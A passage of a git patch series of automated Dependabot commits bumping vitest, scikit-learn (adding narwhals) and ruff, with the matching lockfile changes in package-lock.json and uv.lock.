"@vitest/coverage-v8": "^4.1.8", "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.8.3", @@ -2086,14 +2086,14 @@ } }, "node_modules/@vitest/coverage-v8": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.7.tgz", - "integrity": "sha512-qsYPeXc5Q9dFLd1i8Ap+Bx8sQgcp+rFVQo4R0dDsWNBzl26ldVF1qOO+RL24K7FDrR6pA+50XedRLSoSG24bVQ==", + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.8.tgz", + "integrity": "sha512-lt3kovsyHwYe00wq4D1ti0Z974fWj4NLp6siqiyEufUpyFwK9Yhi7rBhac9JL5aA0zoMrJqc4vYPZRUnI7l7nw==", "dev": true, "license": "MIT", "dependencies": { "@bcoe/v8-coverage": "^1.0.2", - "@vitest/utils": "4.1.7", + "@vitest/utils": "4.1.8", "ast-v8-to-istanbul": "^1.0.0", "istanbul-lib-coverage": "^3.2.2", "istanbul-lib-report": "^3.0.1", @@ -2107,8 +2107,8 @@ "url": "https://opencollective.com/vitest" }, "peerDependencies": { - "@vitest/browser": "4.1.7", - "vitest": "4.1.7" + "@vitest/browser": "4.1.8", + "vitest": "4.1.8" }, "peerDependenciesMeta": { "@vitest/browser": { @@ -2117,16 +2117,16 @@ } }, "node_modules/@vitest/expect": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.7.tgz", - "integrity": "sha512-1R+tw0ortHEbZDGMymm+pN7/AFQ/RkFFdtd7EN+VBpynKmLbP8A3rpEXdshBJ7+8hQ9zBJh/i1s0yKNtxAnU7w==", + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.8.tgz", + "integrity": "sha512-h3nDO677RDLEGlBxyQ5CW8RlMThSKSRLUePLOx09gNIWRL40edgA1GCZSZgf1W55MFAG6/Sw14KeaAnqv0NKdQ==", "dev": true, "license": "MIT", "dependencies": { "@standard-schema/spec": "^1.1.0", "@types/chai": "^5.2.2", - "@vitest/spy": "4.1.7", - "@vitest/utils": "4.1.7", + "@vitest/spy": "4.1.8", + "@vitest/utils": "4.1.8", "chai": "^6.2.2", "tinyrainbow": "^3.1.0" }, @@ -2135,13 +2135,13 @@ } }, "node_modules/@vitest/mocker": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.7.tgz", - "integrity": "sha512-vY7nuamKgfvpA1Koa3oYIw/k7D6kZnpGyNMZW8loow2bsBYla1TFdqTaXncWdRn4pgwNs+90RhnXhJScDwQeJA==", + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.8.tgz", + "integrity": "sha512-LEiN/xe4OSIbKe9HQIp5OC24agGD9J5CnmMgsLohVVoOPWL9a2sBoR6VBx43jQZb7Kr1l4RCuyCJzcAa0+dojw==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/spy": "4.1.7", + "@vitest/spy": "4.1.8", "estree-walker": "^3.0.3", "magic-string": "^0.30.21" }, @@ -2162,9 +2162,9 @@ } }, "node_modules/@vitest/pretty-format": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.7.tgz", - "integrity": "sha512-umgCarTOYQWIaDMvGDRZij+6b9oVeLIyJzfN+AS88e0ZOU3QTgNNSTtjQOpcvWr3np1N0j4WgZj+sb3oYBDscw==", + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.8.tgz", + "integrity": "sha512-9GasEBxpZ1VYIpqHf/0+YGg121uSNwCKOJqIrTwWP/TB7DmFCiaBpNl3aPZzoLWfWkuqhbH8vJIVobZkvdo2cA==", "dev": true, "license": "MIT", "dependencies": { @@ -2175,13 +2175,13 @@ } }, "node_modules/@vitest/runner": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.7.tgz", - "integrity": "sha512-BapjmAQ2aI78WdMEfeUWivnfVzB+VPGwWRQcJE0OUq7qEeEcBsCSf+0T5iREBNE5nBb4wA5Ya0W6IA+sghdEFw==", + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.8.tgz", + "integrity": "sha512-EmVxeBAfMJvycdjd6Hm+RbFBbA9fKvo0Kx37hNpBYoYeavH3RNsBXWDooR1mgD52dCrxIIuP7UotpfiwOikvcg==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/utils": "4.1.7", + "@vitest/utils": "4.1.8", "pathe": "^2.0.3" }, "funding": { @@ -2189,14 +2189,14 @@ } }, "node_modules/@vitest/snapshot": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.7.tgz", - "integrity": "sha512-ZacLzja+TmJeZ1h14xW2FB/WpeimUD3haBXQPyJqxvo8jQTmfeA8zv58mtjN2C7EHXZDYVcVYdYmAxjkWVvKCw==", + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.8.tgz", + "integrity": "sha512-acfZboRmAIf05DEKcBQy33VXojFJjtUdLyo7oOmV9kebb2xdU01UknNiPuPZoJZQyO7DF0gZdTGTpeAzET9QPQ==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/pretty-format": "4.1.7", - "@vitest/utils": "4.1.7", + "@vitest/pretty-format": "4.1.8", + "@vitest/utils": "4.1.8", "magic-string": "^0.30.21", "pathe": "^2.0.3" }, @@ -2205,9 +2205,9 @@ } }, "node_modules/@vitest/spy": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.7.tgz", - "integrity": "sha512-kbkI5LMWakyuTIvs6fUJ5qdIVb1XVKsYJAT4OJ938cHMROYMSfmoQdZy0aaAnjbbc8F61vkoTqz/Az+/HiIu5Q==", + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.8.tgz", + "integrity": "sha512-6EevtBp6OZOPF7bmz36HrGMeP3txgVSrgebWxHOafDXGkhIzfXK14f8KF6MuFfgXXUeHxmpD3BQxkV00/3s5mA==", "dev": true, "license": "MIT", "funding": { @@ -2215,13 +2215,13 @@ } }, "node_modules/@vitest/utils": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.7.tgz", - "integrity": "sha512-T532WBu791cBxJlCl6SO+J14l81DQx6uQHm1bQbmCDY7nqlEIgkza/UFnSBNaUtSf41unldDFjdOBYEQC4b5Hw==", + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.8.tgz", + "integrity": "sha512-uOJamYALNhfJ6iolExyQM40yIQwDqYnkKtQ5VCiSe17E33H0aQ/u+1GlRuz4LZBk6Mm3sg90G9hEbmEt37C1Zg==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/pretty-format": "4.1.7", + "@vitest/pretty-format": "4.1.8", "convert-source-map": "^2.0.0", "tinyrainbow": "^3.1.0" }, @@ -6997,19 +6997,19 @@ } }, "node_modules/vitest": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.7.tgz", - "integrity": "sha512-flYyaFd2CgoCoU+0UKt3pxksgC+S02iTDN0n3LtqaMeXsI9SBcdNujc2k0DeFLzUn/0k538yNjOSdwgCqcrwJA==", + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.8.tgz", + "integrity": "sha512-flY6ScbCIt9HThs+C5HS7jvGOB560DJtk/Z15IQROTA6zEy49Nh8T/dofWTQL+n3vswqn87sbJNiuqw1SDp5Ig==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/expect": "4.1.7", - "@vitest/mocker": "4.1.7", - "@vitest/pretty-format": "4.1.7", - "@vitest/runner": "4.1.7", - "@vitest/snapshot": "4.1.7", - "@vitest/spy": "4.1.7", - "@vitest/utils": "4.1.7", + "@vitest/expect": "4.1.8", + "@vitest/mocker": "4.1.8", + "@vitest/pretty-format": "4.1.8", + "@vitest/runner": "4.1.8", + "@vitest/snapshot": "4.1.8", + "@vitest/spy": "4.1.8", + "@vitest/utils": "4.1.8", "es-module-lexer": "^2.0.0", "expect-type": "^1.3.0", "magic-string": "^0.30.21", @@ -7037,12 +7037,12 @@ "@edge-runtime/vm": "*", "@opentelemetry/api": "^1.9.0", "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", - "@vitest/browser-playwright": "4.1.7", - "@vitest/browser-preview": "4.1.7", - "@vitest/browser-webdriverio": "4.1.7", - "@vitest/coverage-istanbul": "4.1.7", - "@vitest/coverage-v8": "4.1.7", - "@vitest/ui": "4.1.7", + "@vitest/browser-playwright": "4.1.8", + "@vitest/browser-preview": "4.1.8", + "@vitest/browser-webdriverio": "4.1.8", + "@vitest/coverage-istanbul": "4.1.8", + "@vitest/coverage-v8": "4.1.8", + "@vitest/ui": "4.1.8", "happy-dom": "*", "jsdom": "*", "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" diff --git a/frontend/package.json b/frontend/package.json index 22ed87484..590bd559a 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -51,7 +51,7 @@ "@testing-library/react": "^16.3.2", "@testing-library/user-event": "^14.6.1", "@vitejs/plugin-react": "^6.0.2", - "@vitest/coverage-v8": "^4.1.7", + "@vitest/coverage-v8": "^4.1.8", "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.8.3", From ecbc5c3b7ba92f4fb66f42a118e6d92378d48a6c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 08:26:17 +0200 Subject: [PATCH 022/131] build(deps-dev): bump vitest from 4.1.7 to 4.1.8 in /frontend (#1392) Bumps [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) from 4.1.7 to 4.1.8. - [Release notes](https://github.com/vitest-dev/vitest/releases) - [Changelog](https://github.com/vitest-dev/vitest/blob/main/docs/releases.md) - [Commits](https://github.com/vitest-dev/vitest/commits/v4.1.8/packages/vitest) --- updated-dependencies: - dependency-name: vitest dependency-version: 4.1.8 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 2 +- frontend/package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 7364a5ff1..60ba9f55d 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -38,7 +38,7 @@ "prettier": "^3.8.3", "stylelint": "^17.12.0", "vite": "^8.0.14", - "vitest": "^4.1.6" + "vitest": "^4.1.8" } }, "node_modules/@adobe/css-tools": { diff --git a/frontend/package.json b/frontend/package.json index 590bd559a..53a4d9dd8 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -57,6 +57,6 @@ "prettier": "^3.8.3", "stylelint": "^17.12.0", "vite": "^8.0.14", - "vitest": "^4.1.6" + "vitest": "^4.1.8" } } From 65032de03e802849efe31eff14063d954ffb69c7 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 08:26:58 +0200 Subject: [PATCH 023/131] build(deps): bump scikit-learn from 1.8.0 to 1.9.0 (#1395) Bumps [scikit-learn](https://github.com/scikit-learn/scikit-learn) from 1.8.0 to 1.9.0. - [Release notes](https://github.com/scikit-learn/scikit-learn/releases) - [Commits](https://github.com/scikit-learn/scikit-learn/compare/1.8.0...1.9.0) --- updated-dependencies: - dependency-name: scikit-learn dependency-version: 1.9.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 36 ++++++++++++++++++++---------------- 2 files changed, 21 insertions(+), 17 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 787dd3fc0..b6be35a65 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -22,7 +22,7 @@ dependencies = [ "elasticsearch==9.4.1", "psycopg[c]~=3.3", # ML / data science - "scikit-learn~=1.8.0", + "scikit-learn~=1.9.0", "pandas~=3.0", "numpy~=2.4", "joblib~=1.5", diff --git a/uv.lock b/uv.lock index f2ff61524..063cce61c 100644 --- a/uv.lock +++ b/uv.lock @@ -537,7 +537,7 @@ requires-dist = [ { name = "pandas", specifier = "~=3.0" }, { name = "psycopg", extras = ["c"], specifier = "~=3.3" }, { name = "requests", specifier = "~=2.34" }, - { name = "scikit-learn", specifier = "~=1.8.0" }, + { name = "scikit-learn", specifier = "~=1.9.0" }, { name = "slack-sdk", specifier = "~=3.41" }, { name = "stix2", specifier = "~=3.0" }, ] @@ -643,6 +643,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/de/1f/77fa3081e4f66ca3576c896ae5d31c3002ac6607f9747d2e3aa49227e464/markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36", size = 108180, upload-time = "2026-02-09T14:57:25.787Z" }, ] +[[package]] +name = "narwhals" +version = "2.22.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9c/1c/c80cb7719721a44846c6301ef118434bae30a423924bfad3a47f16bdc064/narwhals-2.22.0.tar.gz", hash = "sha256:6486282bb7e4b4ab55963efbd8be1451b764cc4874b74d1fd625eba9dc60b86f", size = 417565, upload-time = "2026-06-01T13:34:36.249Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/b6/e7cdde7b8e90d5dff25b622f95833ef26567ad184c977278b93a1cbd5717/narwhals-2.22.0-py3-none-any.whl", hash = "sha256:1421797ede01789cc1537619dbc3f36f840737240f748fdb24a60a0225fc80be", size = 453815, upload-time = "2026-06-01T13:34:34.127Z" }, +] + [[package]] name = "numpy" version = "2.4.6" @@ -920,28 +929,23 @@ wheels = [ [[package]] name = "scikit-learn" -version = "1.8.0" +version = "1.9.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "joblib" }, + { name = "narwhals" }, { name = "numpy" }, { name = "scipy" }, { name = "threadpoolctl" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/0e/d4/40988bf3b8e34feec1d0e6a051446b1f66225f8529b9309becaeef62b6c4/scikit_learn-1.8.0.tar.gz", hash = "sha256:9bccbb3b40e3de10351f8f5068e105d0f4083b1a65fa07b6634fbc401a6287fd", size = 7335585, upload-time = "2025-12-10T07:08:53.618Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/03/aa/e22e0768512ce9255eba34775be2e85c2048da73da1193e841707f8f039c/scikit_learn-1.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0d6ae97234d5d7079dc0040990a6f7aeb97cb7fa7e8945f1999a429b23569e0a", size = 8513770, upload-time = "2025-12-10T07:08:03.251Z" }, - { url = "https://files.pythonhosted.org/packages/58/37/31b83b2594105f61a381fc74ca19e8780ee923be2d496fcd8d2e1147bd99/scikit_learn-1.8.0-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:edec98c5e7c128328124a029bceb09eda2d526997780fef8d65e9a69eead963e", size = 8044458, upload-time = "2025-12-10T07:08:05.336Z" }, - { url = "https://files.pythonhosted.org/packages/2d/5a/3f1caed8765f33eabb723596666da4ebbf43d11e96550fb18bdec42b467b/scikit_learn-1.8.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:74b66d8689d52ed04c271e1329f0c61635bcaf5b926db9b12d58914cdc01fe57", size = 8610341, upload-time = "2025-12-10T07:08:07.732Z" }, - { url = "https://files.pythonhosted.org/packages/38/cf/06896db3f71c75902a8e9943b444a56e727418f6b4b4a90c98c934f51ed4/scikit_learn-1.8.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8fdf95767f989b0cfedb85f7ed8ca215d4be728031f56ff5a519ee1e3276dc2e", size = 8900022, upload-time = "2025-12-10T07:08:09.862Z" }, - { url = "https://files.pythonhosted.org/packages/1c/f9/9b7563caf3ec8873e17a31401858efab6b39a882daf6c1bfa88879c0aa11/scikit_learn-1.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:2de443b9373b3b615aec1bb57f9baa6bb3a9bd093f1269ba95c17d870422b271", size = 7989409, upload-time = "2025-12-10T07:08:12.028Z" }, - { url = "https://files.pythonhosted.org/packages/49/bd/1f4001503650e72c4f6009ac0c4413cb17d2d601cef6f71c0453da2732fc/scikit_learn-1.8.0-cp313-cp313-win_arm64.whl", hash = "sha256:eddde82a035681427cbedded4e6eff5e57fa59216c2e3e90b10b19ab1d0a65c3", size = 7619760, upload-time = "2025-12-10T07:08:13.688Z" }, - { url = "https://files.pythonhosted.org/packages/d2/7d/a630359fc9dcc95496588c8d8e3245cc8fd81980251079bc09c70d41d951/scikit_learn-1.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:7cc267b6108f0a1499a734167282c00c4ebf61328566b55ef262d48e9849c735", size = 8826045, upload-time = "2025-12-10T07:08:15.215Z" }, - { url = "https://files.pythonhosted.org/packages/cc/56/a0c86f6930cfcd1c7054a2bc417e26960bb88d32444fe7f71d5c2cfae891/scikit_learn-1.8.0-cp313-cp313t-macosx_12_0_arm64.whl", hash = "sha256:fe1c011a640a9f0791146011dfd3c7d9669785f9fed2b2a5f9e207536cf5c2fd", size = 8420324, upload-time = "2025-12-10T07:08:17.561Z" }, - { url = "https://files.pythonhosted.org/packages/46/1e/05962ea1cebc1cf3876667ecb14c283ef755bf409993c5946ade3b77e303/scikit_learn-1.8.0-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:72358cce49465d140cc4e7792015bb1f0296a9742d5622c67e31399b75468b9e", size = 8680651, upload-time = "2025-12-10T07:08:19.952Z" }, - { url = "https://files.pythonhosted.org/packages/fe/56/a85473cd75f200c9759e3a5f0bcab2d116c92a8a02ee08ccd73b870f8bb4/scikit_learn-1.8.0-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:80832434a6cc114f5219211eec13dcbc16c2bac0e31ef64c6d346cde3cf054cb", size = 8925045, upload-time = "2025-12-10T07:08:22.11Z" }, - { url = "https://files.pythonhosted.org/packages/cc/b7/64d8cfa896c64435ae57f4917a548d7ac7a44762ff9802f75a79b77cb633/scikit_learn-1.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:ee787491dbfe082d9c3013f01f5991658b0f38aa8177e4cd4bf434c58f551702", size = 8507994, upload-time = "2025-12-10T07:08:23.943Z" }, - { url = "https://files.pythonhosted.org/packages/5e/37/e192ea709551799379958b4c4771ec507347027bb7c942662c7fbeba31cb/scikit_learn-1.8.0-cp313-cp313t-win_arm64.whl", hash = "sha256:bf97c10a3f5a7543f9b88cbf488d33d175e9146115a451ae34568597ba33dcde", size = 7869518, upload-time = "2025-12-10T07:08:25.71Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/fa/6f/37092bdb25f712817231799fc5674d8e704066a8a70c1d2d40517e18b4ab/scikit_learn-1.9.0.tar.gz", hash = "sha256:8833266989d3a5110178a9fae30783675460724d0e1efb13b14901d2c660c557", size = 7750767, upload-time = "2026-06-02T11:54:32.706Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3c/01/cf3310626b6d48d3e9be69a1223f9180360b5e6edb045f50fade723ce494/scikit_learn-1.9.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:80746d63bd4b6eaca54d36fe5feaf4d28bb38dc6f9470f81c7cad7c40155f119", size = 8705188, upload-time = "2026-06-02T11:53:41.964Z" }, + { url = "https://files.pythonhosted.org/packages/3e/04/5acd7ae280c5f93b6ac5ef6cdec14eef4c8d1cd91d85b3292989c94d96b1/scikit_learn-1.9.0-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:5b934c45c252844a91d69fda3a34cff5e7307e1db10d77cb10a3980312c74713", size = 8228299, upload-time = "2026-06-02T11:53:44.817Z" }, + { url = "https://files.pythonhosted.org/packages/0c/39/ffe829a5b8ecb40a518724a997794657fdc354ada5e8fe8e64d998c0bac9/scikit_learn-1.9.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:38c3dcb9a1ffb85505ec53d54c7b4aea0cff70050425a7760c2af661ac85df05", size = 8789690, upload-time = "2026-06-02T11:53:47.461Z" }, + { url = "https://files.pythonhosted.org/packages/1f/88/8dab5de10c638c083772a6be83a3d8106ced492f74a928c8693638e5bb50/scikit_learn-1.9.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:da76d09304a4706db7cc1e3ebaa3b6b98a67365cc11d2996c4f1e58ba47df714", size = 9087723, upload-time = "2026-06-02T11:53:50.702Z" }, + { url = "https://files.pythonhosted.org/packages/20/3f/7917ca72464038f6240ec70c29f94862d08a34a74291ae4d4ec5eb8186a0/scikit_learn-1.9.0-cp313-cp313-win_amd64.whl", hash = "sha256:5808d98f15c6bf6d9d96d2348c1997392a5888ce7097e664105f930c4bca1277", size = 8184330, upload-time = "2026-06-02T11:53:53.396Z" }, + { url = "https://files.pythonhosted.org/packages/78/c7/15739eb2f61fda3c54639e9942414e5a19ad8a8d1f5a3266afad7cb7df80/scikit_learn-1.9.0-cp313-cp313-win_arm64.whl", hash = "sha256:d77f54c017633791bc0225a43e2f8d03745fdcfe4880268fcc4df15f505dec2e", size = 7840653, upload-time = "2026-06-02T11:53:56.035Z" }, ] [[package]] From 0f5280fa32f3c866b3987d48d2c0e163deb171cb Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 08:27:13 +0200 Subject: [PATCH 024/131] build(deps-dev): bump ruff from 0.15.14 to 0.15.15 (#1396) Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.14 to 0.15.15. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.14...0.15.15) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.15 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 44 ++++++++++++++++++++++---------------------- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index b6be35a65..0665519e7 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -49,7 +49,7 @@ test = [ "django-test-migrations==1.5.0", ] lint = [ - "ruff==0.15.14", + "ruff==0.15.15", ] [tool.uv] diff --git a/uv.lock b/uv.lock index 063cce61c..e0502c534 100644 --- a/uv.lock +++ b/uv.lock @@ -544,7 +544,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [{ name = "django-watchfiles", specifier = "~=1.4" }] -lint = [{ name = "ruff", specifier = "==0.15.14" }] +lint = [{ name = "ruff", specifier = "==0.15.15" }] test = [ { name = "coverage", specifier = "==7.14.1" }, { name = "django-test-migrations", specifier = "==1.5.0" }, @@ -892,27 +892,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.14" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/dc/8a/8bce2894573e9dae6ff4d77fe34ad727d79b9e6238ad288c5638990d90f6/ruff-0.15.14.tar.gz", hash = "sha256:48e866b165be4a9bdbf310f7d3c9a07edef2fe8cd63ffeb4e00bb590506ebf9f", size = 4700910, upload-time = "2026-05-21T14:34:55.177Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/b9/c8/74a92c6ff9fcfb4f1f947126d3ebee8389276e161ecc85de5bda7cda51bd/ruff-0.15.14-py3-none-linux_armv6l.whl", hash = "sha256:8dd2db9416e487c8d4b01fa7056bb02c4d05969d4f8d17a08c229c2f4ff3c108", size = 10739177, upload-time = "2026-05-21T14:34:37.332Z" }, - { url = "https://files.pythonhosted.org/packages/45/91/254a35c20acc38a7223c9d2d594af12e794432464f2cdeb52af1dc4a892d/ruff-0.15.14-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:be4ff55af755bd71a00ab3dc6bd7ffc467bd76e0df6881e286c2e3d23e8fb43b", size = 11144969, upload-time = "2026-05-21T14:34:43.978Z" }, - { url = "https://files.pythonhosted.org/packages/56/9e/d13e40f83b8d0a94430e6778ce1d94a43b38cf2efe63278bdd2b4c65abbf/ruff-0.15.14-py3-none-macosx_11_0_arm64.whl", hash = "sha256:48d5909d7d06276ce7dde6d32bfa4b0d4cb2651145cd8ee4b440722cbc77832f", size = 10478207, upload-time = "2026-05-21T14:34:48.378Z" }, - { url = "https://files.pythonhosted.org/packages/8d/f1/b15a7839fa4f332f8acec78e20564f26bb2d866e3d21710b877fd0263000/ruff-0.15.14-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca8cbfa94c4f90984a67561978602746d4cd27103568f745fa90eee3f0d4107d", size = 10818459, upload-time = "2026-05-21T14:34:22.318Z" }, - { url = "https://files.pythonhosted.org/packages/45/33/53d651177f84f94b400a0e27f8824eeada3dddc9d5ee8aeb048f4352a520/ruff-0.15.14-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9a6bbc0333f1ab053423bcbf6226477d266ca7cec7738c4c8e3f55647803f3c4", size = 10541800, upload-time = "2026-05-21T14:34:20.209Z" }, - { url = "https://files.pythonhosted.org/packages/b8/a6/868f87e0bf9786ed24b5d0d0ad8676b8a94fd1912f42cddf9cfc7857818a/ruff-0.15.14-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8a24a4f7605d7003a6674d4387651effd939dead3fddd0f36561eb77a9a2e542", size = 11342149, upload-time = "2026-05-21T14:34:46.365Z" }, - { url = "https://files.pythonhosted.org/packages/a7/8b/38cd5c19faffdcc05a408d2b78edccc69492ab9720eadb49ea15ef80d768/ruff-0.15.14-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:049b5326e53ed80978f2fc041a280603f69dd6b0c95464342a2bb4572d9d9e2f", size = 12212563, upload-time = "2026-05-21T14:34:28.579Z" }, - { url = "https://files.pythonhosted.org/packages/3e/4d/a3c5b874a556d5731e3e657aaf04311bb76f0a5c3ec220ed43051be6b64b/ruff-0.15.14-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d4ed42e6696c8dfa5f06728e6441993901f548eb92d73bc472cb5a38d1395fbf", size = 11493299, upload-time = "2026-05-21T14:34:41.836Z" }, - { url = "https://files.pythonhosted.org/packages/1e/c0/56472c251d09858a53e51efbd485b09e1995d8731668b76d52e5dd6ee0f1/ruff-0.15.14-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:715c543cf450c4888251f91c52f1942a800541d9bddd7ac060aa4e6b77ae7cba", size = 11455931, upload-time = "2026-05-21T14:34:57.276Z" }, - { url = "https://files.pythonhosted.org/packages/2c/4a/e2e7b4d8dbf233d4eace59c75bc3435fa6d8bd3bae82d351d4e4300c0fd1/ruff-0.15.14-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:72ebab6013ec887d439d8b7593737a0a4ffb06d45d209d4e4bf2e92813082d3f", size = 11400794, upload-time = "2026-05-21T14:34:39.773Z" }, - { url = "https://files.pythonhosted.org/packages/97/c7/83c0539fe34c3e09136204d1e75d6052492364e0b3cb05e9465423f567d7/ruff-0.15.14-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:49072d36abdbe97a8dd7f480afe9c675699c0c495d4c84076e2c1203c4550581", size = 10804759, upload-time = "2026-05-21T14:34:31.045Z" }, - { url = "https://files.pythonhosted.org/packages/86/a6/18f2bfc095a2ab4a78745644e428205532ce6653a5d0fa8501572891534d/ruff-0.15.14-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:958522aee105068640c2c2ceae08f413ae44d922f52a1374ac13d6a96032fc93", size = 10539517, upload-time = "2026-05-21T14:34:53.064Z" }, - { url = "https://files.pythonhosted.org/packages/54/3a/5a8b3b69c654d4e4bf1d246ac5b49cbcdac6eaab6905925f8915f31e3b80/ruff-0.15.14-py3-none-musllinux_1_2_i686.whl", hash = "sha256:f3707da619a143a2e8830e2abab8224478d69ace2d28cb6c20543ae97c36bf61", size = 11065169, upload-time = "2026-05-21T14:34:24.484Z" }, - { url = "https://files.pythonhosted.org/packages/ed/c5/8864e4e7925b836ea354b31d57641ec03830564e281a8b6f061f8c3e0ec1/ruff-0.15.14-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:bb01d645694e3ec0102105d07ef2d53703970407d59c04e59d3ba0b7a1d53553", size = 11560214, upload-time = "2026-05-21T14:34:50.975Z" }, - { url = "https://files.pythonhosted.org/packages/36/38/012bf76752e1f89ed50b77b99532d90f3a3e287bc7918e1fc0948ac866ac/ruff-0.15.14-py3-none-win32.whl", hash = "sha256:6d0c1ad2a0ab718d39b6d8fd2217981ce4d625cd96a720095f798fb47d8b13e6", size = 10805548, upload-time = "2026-05-21T14:34:33.453Z" }, - { url = 